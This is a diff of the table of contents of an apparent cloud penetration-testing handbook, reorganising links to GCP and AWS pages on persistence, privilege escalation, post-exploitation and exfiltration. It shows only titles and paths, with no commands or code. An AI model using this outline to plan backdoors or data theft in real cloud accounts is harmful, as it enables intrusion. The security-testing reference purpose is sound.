- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -85,17 +82,14 @@
|
||||
- [GCP - Federation Abuse](pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md)
|
||||
- [GCP - Permissions for a Pentest](pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md)
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - Apigee Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
- [GCP - Cloud Shell Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md)
|
||||
- [GCP - Cloud SQL Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
|
||||
- [GCP - Compute Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md)
|
||||
- [GCP - Dataflow Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md)
|
||||
- [GCP - Filestore Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md)
|
||||
- [GCP - IAM Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md)
|
||||
- [GCP - KMS Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md)
|
||||
@@ -104,6 +98,7 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -112,9 +107,7 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloud Workstations Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
|
||||
@@ -125,11 +118,9 @@
|
||||
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
|
||||
- [GCP - Container Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md)
|
||||
- [GCP - Dataproc Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md)
|
||||
- [GCP - Dataflow Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md)
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -138,7 +129,6 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -148,7 +138,6 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -179,7 +168,6 @@
|
||||
- [GCP - VPC & Networking](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md)
|
||||
- [GCP - Composer Enum](pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md)
|
||||
- [GCP - Containers & GKE Enum](pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md)
|
||||
- [GCP - Dataflow Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md)
|
||||
- [GCP - Dataproc Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md)
|
||||
- [GCP - DNS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md)
|
||||
- [GCP - Filestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md)
|
||||
@@ -197,7 +185,6 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -229,142 +216,109 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Bedrock Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
